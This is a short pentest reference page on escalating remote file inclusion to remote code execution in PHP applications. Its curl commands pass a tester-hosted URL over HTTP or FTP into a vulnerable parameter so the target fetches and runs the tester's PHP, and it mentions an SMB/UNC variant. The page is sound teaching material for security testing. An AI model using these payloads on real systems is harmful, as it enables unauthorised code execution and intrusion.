For the complete documentation index, see llms.txt. This page is also available as Markdown.

RFI to RCE

Theory

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external ressources. The goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain.

Practice

We can host an arbitrary PHP code and access it through the HTTP protocol

# Create phpinfo.php
echo '<?php phpinfo(); ?>' > phpinfo.php

# Start a web server
python3 -m http.server 80

# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=http://tester.server/phpinfo.php'

The tester can also host his arbitrary PHP code and access it through the FTP protocol. He can use the python library pyftpdlib to start a FTP server.

# Start FTP server
sudo python3 -m pyftpdlib -p 21                                                                                                                                            1  alex@ubuntu
[I 2022-07-11 00:04:26] concurrency model: async
[I 2022-07-11 00:04:26] masquerade (NAT) address: None
[I 2022-07-11 00:04:26] passive ports: None
[I 2022-07-11 00:04:26] >>> starting FTP server on 0.0.0.0:21, pid=176948 <<<

# Exploit the RFI to fetch the remote phpinfo.php file
curl '$URL/?parameter=ftp://tester.server/phpinfo.php'

PHP uses the anonymous credentials to authenticate to the FTP server. If the tester needs to use custom credentials, he can authenticate as follows :

curl '$URL/?parameter=ftp://user:pass@tester.server/phpinfo.php'

Sometimes, the vulnerable web application is hosted on a Windows Server, meaning the attacker could log into a SMB Server to store the arbitrary PHP code.

Impacket's smbserver.py (Python) script can be used on the attacker-controlled machine to create a SMB Server.

The PHP script can then be included by using a UNC Path.

References

Last updated